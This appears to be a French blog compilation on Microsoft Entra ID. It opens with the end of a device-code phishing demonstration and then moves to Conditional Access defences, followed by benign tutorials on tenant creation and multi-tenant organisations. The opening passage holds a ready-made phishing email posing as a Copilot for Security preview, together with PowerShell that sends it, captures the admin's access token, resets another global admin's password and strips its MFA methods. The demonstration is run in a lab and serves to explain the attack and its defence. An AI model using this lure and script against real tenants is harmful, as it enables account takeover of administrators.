    <h1 style="color: #1a73e8;">🚀 Découvrez Copilot for Security 🚀</h1>
    <p>Bonjour,</p>
    <p>Nous sommes ravis de vous présenter <strong>Copilot for Security</strong> - votre nouvel allié de confiance pour une sécurité renforcée !</p>
    <p>Copilot for Security est une solution révolutionnaire conçue pour simplifier et améliorer la sécurité de votre organisation. Imaginez une intelligence artificielle capable d'analyser vos systèmes en temps réel, de détecter les menaces potentielles avant qu'elles ne deviennent des problèmes, et de vous fournir des recommandations personnalisées pour renforcer votre posture de sécurité. C'est exactement ce que vous offre Copilot for Security !</p>
    <p>Mais ce n'est pas tout ! Nous avons une nouvelle excitante à partager : <strong>une préversion privée de Copilot for Security est désormais accessible sur demande</strong> !</p>
    <p>Ne manquez pas cette opportunité exclusive de tester notre solution avant tout le monde et de contribuer à façonner l'avenir de la sécurité informatique.</p>
    <p>Pour vous inscrire à la préversion privée, rendez-vous sur <a href="https://microsoft.com/devicelogin" style="color: #1a73e8; text-decoration: none;">notre page d'inscription</a> et utilisez le code suivant :</p>
    <p style="font-size: 1.2em; font-weight: bold; color: #d32f2f;">CUA75XNUX</p>
    <p>Nous avons hâte de vous accueillir parmi nos premiers utilisateurs et de vous voir profiter des nombreux avantages de Copilot for Security.</p>
    <p>Avec enthousiasme,<br>[Votre nom]<br>[Votre titre]<br>[Nom de votre entreprise]</p>
</body>
</html>
"@

# SMTP : Destinataire(s)
$SMTPRecipient = "ADMTeacher@TDCHEduc.onmicrosoft.com"

$SMTPRecipientList = @()
$SMTPRecipientList += @{
      EmailAddress = @{
         Address = $SMTPRecipient
   }
}

Je charge toutes ces informations dans les propriétés du message :

$EmailProperties = @{
   ToRecipients = $SMTPRecipientList
   Subject = $EmailSubject
   Body = @{
      ContentType = "HTML"
      Content = $EmailBody
   }
}

J’envoie les emails d’hameçonnage à mes Administrateurs cibles :

Send-MgUserMail -UserId $SMTPSender -Message $EmailProperties

Quelques secondes plus tard, l’email apparaît en boite de réception :

Il ne reste plus qu’à croiser les doigts qu’un des administrateurs Global se laisse tenter par cette formidable nouvelle.

Etape IV – Récupération du second token :

Admettons là encore qu’un Administrateur Global non IT clique sur le lien et recopie le code indiqué dans le second email d’hameçonnage :

Etant déjà authentifié, il ne lui reste qu’à choisir son compte admin 365 :

Pensant lui aussi l’action légitime, l’utilisateur clique simplement sur Accepter :

Entra ID lui informe alors que le processus d’authentification est terminé :

De notre côté, nous pouvons alors continuer nos opérations puisque l’authentification s’est bien déroulé :

$GrandType = "urn:ietf:params:oauth:grant-type:device_code"
$body = @{
"client_id" = $ClientID 
"grant_type" = $GrandType
"code" = $authResponse.device_code
}

La commande suivante nous permet de contrôler la présence de l’Access Token comme attendu :

$Tokens = Invoke-RestMethod -UseBasicParsing -Method Post -Uri "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Body $body -ErrorAction SilentlyContinue
$Tokens
$graphApiToken  = $Tokens.access_token

Une connexion à MgGraph via ce second Access Token est alors possible :

Connect-MgGraph -AccessToken ($graphApiToken |ConvertTo-SecureString -AsPlainText -Force)

La commande suivante nous permet alors de situer l’utilisateur et les droits obtenus grâce l’Access Token récupéré auprès de notre application :

(Get-MgContext).Scopes

Parmi les autorisations obtenues figure la gestion des méthodes d’authentification :

Etape V – Reset et test de connexion :

Il nous reste alors qu’à lancer la commande suivant afin de réinitialiser le mot de passe d’un autre administrateur global présent sur le tenant :

$userid = "ga2@TDCHEduc.onmicrosoft.com"
$method = Get-MgUserAuthenticationPasswordMethod -UserId $userid
  
Reset-MgUserAuthenticationMethodPassword -UserId $userid -AuthenticationMethodId $method.id -NewPassword "zQ7!Ra3MM6ha" 

Il nous est même possible d’effacer les différentes méthodes MFA déjà enregistrées sur ce même compte :

$userid = "ga2@TDCHEduc.onmicrosoft.com"
$AuthMethods = Get-MgUserAuthenticationMethod -UserId $userid
ForEach ($AuthMethod in $AuthMethods){
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.emailAuthenticationMethod"){
        Remove-MgUserAuthenticationEmailMethod -EmailAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.microsoftAuthenticatorAuthenticationMethod"){
        Remove-MgUserAuthenticationMicrosoftAuthenticatorMethod -MicrosoftAuthenticatorAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.fido2AuthenticationMethod"){
        Remove-MgUserAuthenticationFido2Method -Fido2AuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.windowsHelloForBusinessAuthenticationMethod"){
        Remove-MgUserAuthenticationFido2Method -Fido2AuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.phoneAuthenticationMethod"){
        Remove-MgUserAuthenticationPhoneMethod -PhoneAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.phoneAuthenticationMethod"){
        Remove-MgUserAuthenticationPhoneMethod -PhoneAuthenticationMethodId $AuthMethod.id
    }
    if ($AuthMethod.AdditionalProperties."@odata.type" -eq "#microsoft.graph.softwareOathAuthenticationMethod"){
        Remove-MgUserAuthenticationSoftwareOathMethod -SoftwareOathAuthenticationMethodId $AuthMethod.id
    }
}

Par le biais d’un navigateur privé, il nous suffit de tester le nouveau mot de passe configuré sur l’administrateur global ciblé :

Comme attendu, Microsoft nous demande également de reconfigurer une ou plusieurs méthodes MFA sur ce compte :

Le compte et donc le tenant est donc maintenant sous notre contrôle. D’autres actions plus critiques pourraient alors suivre.

Mais, comme dit plus haut, Entra ID vous propose maintenant de bloquer les Device code flow via les Polices d’accès conditionnel.

Etape VI – Polices d’accès conditionnel :

Dans son journal des connexions Entra ID, Microsoft indique clairement l’usage d’un Device Code Flow :

Depuis le portail d’Entra ID, il est maintenant possible de définir une police ayant pour but de spécifiquement cibler et bloquer les connexions faites via Device Code Flow :

Une fois cette police en place, l’utilisateur lambda peut cliquer sur le lien :

Renseigner un code actif :

Choisir son identifiant 365 :

Et se retrouver bloqué et donc protégé de cette tentative d’usurpation :

Conclusion

En conclusion, le Device Code Flow offre une solution pratique pour l’authentification des appareils avec des capacités limitées tout en maintenant une expérience utilisateur fluide. Cependant, il est crucial de mettre en œuvre des mesures de sécurité robustes pour atténuer les risques potentiels associés à ce flux.

Créez votre premier tenant Microsoft Entra

Je suis sûr que certains d’entre vous ont déjà créé plusieurs dizaines de tenants Microsoft Entra, possiblement plus 💪. Mais certains d’autres n’ont peut-être jamais osé franchir le pas ! Rassurez-vous, rien de bien compliqué. En cette année 2024, je vous propose de repartir sur les basiques et de créer ensemble un nouveau tenant afin de comprendre les premiers paramètres appliqués par Microsoft.

Avant de commencer le petit exercice, reparcourons ensemble quelques notions essentielles.

Qu’est-ce qu’un tenant Microsoft Entra ?

C’est probablement une des premières questions à laquelle on tente de répondre quand on commence à s’intéresser au cloud de Microsoft. Inutile d’aller bien loin, Microsoft explique assez bien le concept :

Le locataire (tenant) Microsoft Entra est une limite de sécurité d’identité qui est sous le contrôle du service informatique de votre organization. Dans cette limite de sécurité, l’administration des objets (tels que les objets utilisateur) et la configuration des paramètres à l’échelle du locataire sont contrôlées par vos administrateurs informatiques.

Microsoft Learn

A l’intérieur d’un tenant Microsoft Entra, on y retrouvera donc principalement :

  • un annuaire ou répertoire (= directory) contenant des identités humaines, machines ou applicatives
  • Des applications Microsoft comme la suite office 365
  • Des ressources comme des machines virtuelles sur Azure
  • Des applications tierces
  • Des configurations comme des droits, des polices ou mesures de sécurité

Cette vidéo est assez ancienne, mais elle explique assez bien le concept d’Azure Active Directory (Entra ID) et de ses différences avec Windows Server Active Directory :

Combien coûte un tenant Microsoft ?

Un tenant Microsoft en lui-même ne coûte rien, mais les services comme Office 365, les licences pour renforcer la sécurité de votre tenant, ou encore les ressource Azure déployées vont pour la plupart être payantes.

Quelle est la différence entre Microsoft Entra et Microsoft Entra ID ?

Microsoft Entra est une famille de plusieurs produits comprenant également Microsoft Entra ID. Le tableau suivant et disponible sur cette page montre certaines fonctionnalités disponible sur Microsoft Entra :

Ce portail complet est disponible à cette adresse :

Combien coûte Microsoft Entra ID ?

Le tableau ci-dessous et également disponible sur cette page Microsoft nous explique bien les différentes versions de Microsoft Entra ID :

  • La première colonne de gauche nous montre qu’il existe une version gratuite de Microsoft Entra ID comprenant des bases de sécurité suffisantes.
  • D’autres versions avec plus de fonctionnalités et des mesures de sécurité personnalisées sont disponibles sous forme de licences par utilisateur.

Afin de rentrer plus en détail dans le fonctionnement de Microsoft Entra, je vous propose de regarder l’excellente vidéo de Seyfallah Tagrerout :

Plusieurs méthodes de création d’un tenant Microsoft existent. Il est généralement possible de créer son propre nouveau tenant en partant d’une identité Cloud existante sans en perturber le fonctionnement.

Afin de vous faire une meilleure idée, je vous propose un petit exercice à ce sujet, et de voir certains éléments liés à votre création :

Commençons par un bref rappel des prérequis.

Etape 0 – Rappel des prérequis :

Pour réaliser mon exercice sur la création d’un nouveau tenant Microsoft, il vous faudra disposer de :

  • Un tenant Microsoft 🤣

La suite se passera directement par la création du nouveau tenant.

Etape I – Création du nouveau tenant :

Pour cela, rendez-vous sur la page de Microsoft Entra ID par ce lien, puis cliquez-ici pour lister les tenants vous étant accessibles :

Cliquez sur Créer pour démarrer la procédure :

Deux types de tenants sont possibles : B2C ou B2B (plus d’informations ici)

Choisissez le tenant B2B, puis cliquez sur Continuer :

Renseignez les 3 champs suivants puis cliquez sur Créer :

Réussissez le CAPTCHA, puis cliquez sur Soumettre :

La création de votre nouveau tenant Microsoft a commencé, attendez environ 5 minutes :

Environ 5 minutes plus tard, votre nouveau tenant Microsoft est maintenant prêt, cliquez-ici pour basculer sur celui-ci :

La bascule vers le nouveau tenant est également possible depuis le bouton de paramètre suivant :

Le nouveau tenant s’ouvre directement sur le portail Azure. Constatez la présence de ces 2 valeurs uniques qui définissent votre nouveau tenant :

Consultez les utilisateurs présents sur votre nouveau tenant par cette page.

A ce stade, le compte utilisateur du tenant initial devrait être le seul présent, cliquez sur son nom :

Prenez soin de vérifier l’origine de cette identité externe à votre nouveau tenant, puis cliquez-ici pour consulter ses rôles Entra ID :

Constatez la présence logique du rôle d’Administrateur Général, naturellement attribué au créateur du tenant :

Votre tenant fonctionne bien, mais est pour l’instant assez vide. Je vous propose donc de continuer en créant un premier utilisateur dans Entra ID.

Etape II – Création d’un nouvel utilisateur :

Créez votre premier utilisateur rattaché à votre nouveau tenant par le menu suivant :

Remplissez les champs obligatoires, puis cliquez sur Suivant :

Remplissez les champs que vous souhaitez, puis cliquez sur Suivant :

Cliquez ici pour lui un ajouter un rôle Entra ID :

Recherchez le rôle d’Administrateur général, puis cliquez sur Sélectionnez :

Lancez la validation de votre création :

Une fois la validation terminée, sauvegardez le mot de passe provisoire, puis lancez la création :

La notification suivante devrait apparaître :

Rafraichissez la page des utilisateurs Entra ID afin de voir votre création :

Ouvrez un navigateur privé, lancez la page web d’Entra ID, puis renseignez les identifiants de votre nouvel utilisateur :

A l’issue de cette première connexion, définissez un nouveau mot de passe à cet utilisateur :

Dans le but de supprimer l’utilisateur créateur du nouveau tenant dans ce dernier, retournez sur la page des utilisateurs, puis cliquez-ici :

Confirmez votre choix en cliquant sur OK :

Rafraichissez la page des utilisateurs Entra ID afin de voir uniquement votre nouveau compte :

Etape III – Création d’autres utilisateurs :

Vous pourriez créer ou inviter d’autres utilisateurs comme le montre les exemples d’identités visibles sur l’image ci-dessous :

Microsoft nous liste certaines identités sur cette page :

Voici un exemple de connexion d’un compte invité de type mail essayant de se connecter à un site SharePoint dont l’accès se fera via un code envoyé par email :

Intéressons-nous enfin à la sécurité de base d’un tenant Microsoft.

Etape IV – Paramètres de sécurité par défaut :

Depuis octobre 2019, les nouveaux tenants ont la sécurité par défaut d’activé. Microsoft le justifie par l’argument suivant :

Selon nos connaissances, plus de 99,9% de ces attaques liées à l’identité sont stoppées en utilisant l’authentification multifacteur et en bloquant l’authentification héritée. Notre but est de nous assurer que toutes les organisations ont activé au moins un niveau de sécurité de base, sans coût supplémentaire.

Microsoft Learn

La sécurité par défaut est entièrement gérée par Microsoft. Elle fait sens dans le cadre de tenants dépourvus de licences Microsoft Entra ID payantes et agira sur les points suivants :

L’activation ou la désactivation de la sécurité par défaut est possible depuis l’écran suivant d’Entra ID :

Terminons cet exercice par un test de la sécurité par défaut d’activé d’Entra ID.

Etape V – Test des paramètres de sécurité par défaut :

Pour cela, connectez-vous avec un compte administrateur sur le portail Microsoft Entra ID depuis un navigateur privé :

Dans cet exemple, notre compte utilisateur est un administrateur et essaye d’accès à un ressource sensible.

Comme la MFA n’est pas encore configuré sur ce compte, nous sommes invités à y remédier en cliquant sur Suivant :

Afin de configurer Microsoft Authenticator, téléchargez l’application sur votre Smartphone, puis cliquez sur Suivant :

Cliquez sur Suivant :

Scannez le QR code depuis l’application installé sur votre Smartphone, puis cliquez sur suivant :

Saisissez sur votre Smartphone le nombre affiché à l’écran :

Une fois le nombre correctement saisi, cliquez sur Suivant :

Cliquez sur Terminer :

Cliquez sur Non :

Le portail de Microsoft Entra ID s’ouvre bien :

Refermer votre navigateur privé, puis réouvrez-le à nouveau.

Connectez-vous à nouveau avec le même compte administrateur sur le portail Microsoft Entra ID :

La MFA étant déjà configuré sur ce compte, saisissez à nouveau sur votre Smartphone le nombre affiché à l’écran :

Cliquez sur Non :

Le portail de Microsoft Entra ID s’ouvre bien une nouvelle fois :

Conclusion

Cet exercice nous montre qu’il n’y a vraiment rien de sorcier dans la création d’un nouveau tenant Microsoft Entra dans sa configuration de base, même si beaucoup d’autres paramétrages non montrés ici seront à configurer selon les cas. Enfin, d’autres mesures de sécurité très intéressantes à mettre en place devraient bientôt suivre dans de prochains articles 😎.

Organisez-vous grâce au multi-tenants

Microsoft propose depuis quelques temps déjà plusieurs options pour gérer les organisations réparties sur plusieurs tenants Cloud. Par exemple, la synchronisation entre tenants a été introduite en janvier de cette année. Depuis, les choses continuent de progresser grâce à l’arrivée d’un nouveau niveau : l’organisation multi-tenants = regroupement de plusieurs tenants B2B dans un seul ensemble ayant des facultés de synchronisation.

Avant de tester la création d’une organisation multi-tenants sur mon environnement de démonstration, faisons d’abord un bref rappel de quelques notions importantes sur les tenants Microsoft.

Qu’est-ce qu’un tenant Microsoft ?

Nous pourrions traduire le mot anglais Tenant par locataire. Dans l’univers du Cloud Microsoft, le terme Tenant désigne le périmètre (le Cloud) dans laquelle vos données sont stockées. Ainsi chaque client possède sa propre sphère, son propre Tenant.

Voici d’ailleurs la définition selon Microsoft :

Un locataire est une instance d’Azure AD dans laquelle résident des informations sur une seule organisation, y compris des objets organisationnels tels que des utilisateurs, des groupes et des appareils, ainsi que des inscriptions d’applications, telles que Microsoft 365 et des applications tierces.

Microsoft Learn

Qu’est-ce que la synchronisation multi-tenants ?

La synchronisation multi-tenants d’Entra ID est un mécanisme qui facilite la création, la modification et la suppression des utilisateurs à travers plusieurs tenants via un système automatisé et géré par Microsoft :

Son objectif principal est d’assurer une collaboration transparente entre les tenants d’une même organisation, tout en rationalisant la gestion des comptes utilisateurs B2B dans un environnement multi-tenants.

Une vidéo de John en parle d’ailleurs très bien :

Concernant la gestion d’identités externes au tenant, Microsoft propose également d’autres fonctionnalités comme par exemple :

Qu’est-ce qu’une organisation multi-tenants ?

Nous sommes ici à un niveau plus élevé que le tenant unique, nous parlons ici de fédérer plusieurs tenants Microsoft.

L’image ci-dessous montre 2 tenants Microsoft distincts, contenant chacun des utilisateurs présents dans chacun d’eux (Entra ID) :

Microsoft a développé ce niveau pour répondre à plusieurs demandes :

Une organisation multilocataire est une organisation qui a plusieurs instances d’Azure AD. Voici les principales raisons pour lesquelles une organisation peut avoir plusieurs locataires :

  • Conglomérats : les organisations avec plusieurs filiales ou unités commerciales qui fonctionnent indépendamment.
  • Fusions et acquisitions : organisations qui fusionnent ou acquièrent des sociétés.
  • Activité de cession : dans le cadre d’une cession, une organisation fractionne une partie de ses activités pour former une nouvelle organisation ou la vendre à une organisation existante.
  • Plusieurs clouds : les organisations dont la conformité ou la réglementation doivent exister dans plusieurs environnements cloud.
  • Plusieurs limites géographiques : organisations qui opèrent dans plusieurs emplacements géographiques avec différentes réglementations de résidence.
  • Locataires de test ou intermédiaires : organisations qui ont besoin de plusieurs locataires à des fins de test ou de préproduction avant de procéder à un déploiement plus large sur des locataires principaux.
  • Locataires créés par un service ou un employé : organisations où des services ou des employés ont créé des locataires pour le développement, le test ou le contrôle distinct.
Microsoft Learn

Pour vous donner un exemple concret, ce scénario peut se présenter quand une entreprise en rachète d’autres. Bien souvent, celles-ci ont chacune un environnement 365 déjà en place, et l’idée d’une migration de tenant à tenant est considérée comme trop lourde.

Pour faire simple, l’organisation à multi-tenants continue elle aussi de s’appuyer sur la synchronisation entre tenants d’Entra ID : Les utilisateurs de votre tenant sont alors provisionnés dans les autres tenants de l’organisation en tant qu’utilisateurs de collaboration B2B.

Peut-on gérer une organisation multi-tenants dans Microsoft 365 ?

Au-delà les différents mécanismes possibles de collaboration sur Entra ID, Microsoft a rajouté ce niveau d’organisation multi-tenants dans la console d’administration de Microsoft 365 :

Note : L’activation antérieure de la synchronisation entre tenants d’Entra ID ne gêne en rien la mise en place d’une organisation multi-tenants. Celles-ci continueront toujours de fonctionner :

Afin de se faire une meilleure idée de l’ensemble de tenants, je vous propose de mettre en place une organisation multi-tenants à partir de 2 tenants B2B non connectés.

Voici les différentes étapes de l’exercice que je vous propose :

Commençons d’abord par détailler les prérequis et l’environnement de départ pour nos tests.

Etape 0 – Rappel des prérequis :

Pour réaliser cet exercice sur la migration Active Directory vers Azure, il vous faudra disposer de :

  • 2 tenants Microsoft avec des licences 365
  • Une souscription Azure valide pour la création des machines virtuelles de test

Dans mon exemple, mes deux tenants de test sont issus du Microsoft 365 Developer Program. Voici la vue de mes deux tenants de test :

  • JLO Tenant A // jean0loup.onmicrosoft.com
  • JLO Tenant B // tdsynnexchlab.onmicrosoft.com

Chacun de mes 2 tenants dispose d’utilisateurs avec des licences Microsoft 365 E5 Dev :

Dans chacun des tenants de test, j’ai créé également 2 groupes de 3 d’utilisateurs chacun :

Enfin pour les tests, j’ai également créé 2 machines virtuelles de test pour la démonstration côté utilisateur :

Sur ces 2 machines virtuelles hébergées sur Azure, j’y ai installé la suite office 365 + Teams :

J’ai installé Microsoft Teams par ce lien :

Avant la moindre configuration, j’ai testé le bon fonctionnement du chat EXTERNE de Teams entre 2 utilisateurs des 2 tenants :

Microsoft nous le rappelle bien : tenanta user1 fait partie d’une organisation. Il est possible qu’ils aient des politiques liées aux messages qui s’appliquent au chat.

Nous allons donc maintenant déployer une organisation multi-tenants depuis la console d’administration de Microsoft 365.

Etape I – Configuration de l’organisation multi-tenants :

La fonction d’organisation multi-tenants est encore en préversion à l’heure où ces lignes sont écrites. Il est donc nécessaire d’activer l’option de livraison ciblée sur les 2 tenants de test.

Pour cela, rendez-vous sur la page d’administration de Microsoft 365, puis dans le menu ci-dessous afin d’activer l’option suivante :

Attendez quelques minutes, puis rafraîchissez cette même page afin de voir apparaître le menu suivant :

Effectuez cette opération sur les 2 tenants.

Dans ce menu, commencez par démarrer le processus de mise en place de l’organisation multi-tenants en cliquant ici :

Sélectionnez le premier choix afin de créer l’organisation multi-tenants :

Avant d’aller plus loin, ouvrez un second navigateur internet afin de copier sur cette page l’identifiant tenant ID du second environnement :

Renseignez les champs et collez le tenant ID récupéré précédemment :

Cliquez sur Suivant :

Cochez les deux cases suivantes pour valider la synchronisation entrante, puis cliquez sur Suivant :

Cliquez sur le bouton ci-dessous pour valider et démarrer le processus de création de l’organisation multi-tenants :

Copiez le lien ci-dessous afin de terminer le processus de création dans le second tenant de test :

Dans votre second navigateur, rendez-vous sur le lien copié précédemment, puis cliquez-ici pour valider la synchronisation entrante :

Cliquez sur Terminer :

Le message suivant apparaît pour vous indiquer que le processus d’intégration du second tenant est en cours. Cliquez-ici plusieurs fois pour rafraichir le processus :

Quelques minutes plus tard, le lien de synchronisation est bien confirmé dans sur les deux tenants de notre organisation multi-tenants :

Sur les 2 tenants, cliquez ici pour partager un groupe d’utilisateurs vers l’autre tenant :

Après cela, cliquez sur les deux tenants de destinations afin de vérifier la bonne prise en compte des utilisateurs présentes dans vos 2 groupes Entra ID à synchroniser :

La configuration de l’organisation multi-tenants depuis le portail d’administration de Microsoft 365 est maintenant terminée. La synchronisation multi-tenants devrait se lancer sous peu.

Afin d’en savoir un peu plus, rendez-vous sur le portail d’Entra ID juste ici.

Etape II – Configuration de la synchronisation multi-tenants :

Grâce à la configuration de l’organisation multi-tenants, Entra ID a automatiquement préconfiguré la synchronisation multi-tenants.

Cliquez sur le menu suivant d’Entra ID pour découvrir les paramétrages effectués sur vos 2 tenants :

Cliquez sur les 2 configurations créées :

Visualisez les différentes informations disponibles, dont l’intervalle d’approvisionnement fixe :

Configurez-ici si besoin les notifications par email, puis sauvegardez :

Analysez les personnalisations possibles concernant les attributs d’Entra ID :

Quelques minutes plus tard, retournez sur les listes d’utilisateurs respectives de vos 2 tenants afin de constater l’apparition d’utilisateurs synchronisés :

Notez l’absence de synchronisation des groupes Entra ID, seuls des utilisateurs des groupes sélectionnés sont synchronisés :

Consultez et comparez sur les 2 tenants les propriétés synchronisées (ou non) d’un utilisateur concerné :

Il est également possible de lancer, sans attendre, une synchronisation manuelle.

Afin de tester cela, renseignez un titre de poste sur un autre utilisateur synchronisé :

Rendez-vous dans le menu suivant pour lancez la synchronisation à la demande :

Recherchez l’utilisateur à synchroniser, puis démarrez le traitement :

Attendez quelques secondes, puis constatez le changement de titre de poste sur le second tenant :

A noter qu’il n’est pas possible d’effectuer la synchronisation inverse depuis le tenant de destination :

Notre configuration est maintenant en place. Nous allons pouvoir effectuer différents tests entre nos deux utilisateurs de test :

  • tenanta-user1@jean0loup.onmicrosoft.com
  • tenantb-user1@tdsynnexchlab.onmicrosoft.com

Pour rappel, ces utilisateurs sont représentés de la façon suivante dans les 2 tenants de destination :

  • tenantb-user1_tdsynnexchlab.onmicrosoft.com#EXT#@jean0loup.onmicrosoft.com
  • tenanta-user1_jean0loup.onmicrosoft.com#EXT#@tdsynnexchlab.onmicrosoft.com

Etape III – Test de Microsoft Teams :

Depuis les 2 machines virtuelles, ouvrez le client Microsoft Teams. Pour une meilleure expérience utilisateur, activez le nouveau Teams :

Depuis l’écran des paramétrages de Teams, activez la prise en charge des 2 tenants :

Sur le 2 sessions Teams, recherchez les utilisateurs invités respectifs. Notez la présence d’utilisateurs externes précédemment utilisés pour communiquer :

Commencez la communication sur les utilisateurs NON EXTERNE :

Notez les points suivants :

  • La présence de 2 notifications Windows respectives
  • La présence de 2 notifications Teams respectives
  • L’incohérence dans le fil de discussion dans l’écran en tâche de fond

Un clic sur les 2 notifications Teams respectives permet de permuter sur le second tenant :

De retour sur les tenants de départ, commencez la création d’une équipe Teams :

Ajoutez dans celle-ci l’utilisateur invité du second tenant, puis cliquez sur Ajoutez :

Postez un nouveau message d’équipe en citant le second utilisateur comme ceci, afin de constater l’absence de notifications Teams :

Enfin, testez la fonctionnalité d’appel de Teams afin de constater la présence de notifications sur le second utilisateur :

Les quelques tests sur Microsoft Teams ont pu démontrer une bonne intégration des environnements multi-tenants, mais des efforts sur les notifications sont encore à faire.

Pour l’instant, je trouve que la communication via des comptes utilisateurs EXTERNES est encore plus simple.

Continuons les tests avec SharePoint Online.

Etape IV – Test de SharePoint Online :

Créez un nouveau site SharePoint online avec des droits au second utilisateur de test, puis ajoutez-y des fichiers.

Copiez / collez l’URL du site SharePoint Online dans la navigateur de la second VM, puis authentifiez-vous :

Vérifiez la bonne ouverture d’un des fichiers présents :

SharePoint Online fonctionne donc sans souci avec les utilisateurs synchronisés, continuons avec Exchange Online.

Etape V – Test d’Exchange Online :

Configurez une boite mail partagée sur un des 2 tenants, puis ajoutez-y des droits au second utilisateur de test :

Depuis Exchange Online, ouvrez sur les 2 sessions la boite mail partagée créée précédemment via la fonction Ouvrir une autre boîte aux lettres :

Saisissez le nom de la boite mail partagée, puis cliquez sur Ouvrir :

Constatez la présence d’un message d’erreur sur la seconde session :

Essayez si besoin avec le client Outlook local :

Là encore, l’expérience utilisateur ne sera pas encore fonctionnelle :

Je suppose que le point concernant Outlook repose encore sur le fait que les boîtes mails partagées n’acceptent toujours pas de comptes invités.

Conclusion :

Microsoft continue d’avancer avec sa solution d’organisation multi-tenants et cela facilite grandement la création d’utilisateurs ayant des droits SharePoint / OneDrive sur plusieurs entreprises. Mais il y a encore des difficultés dans la partie Teams, au niveau des notifications, et dans la partie Outlook dans la partie authentification.

Nul doute que d’autres améliorations encore à venir afin que les utilisateurs de tenants différents puissent encore accroitre leurs synergies.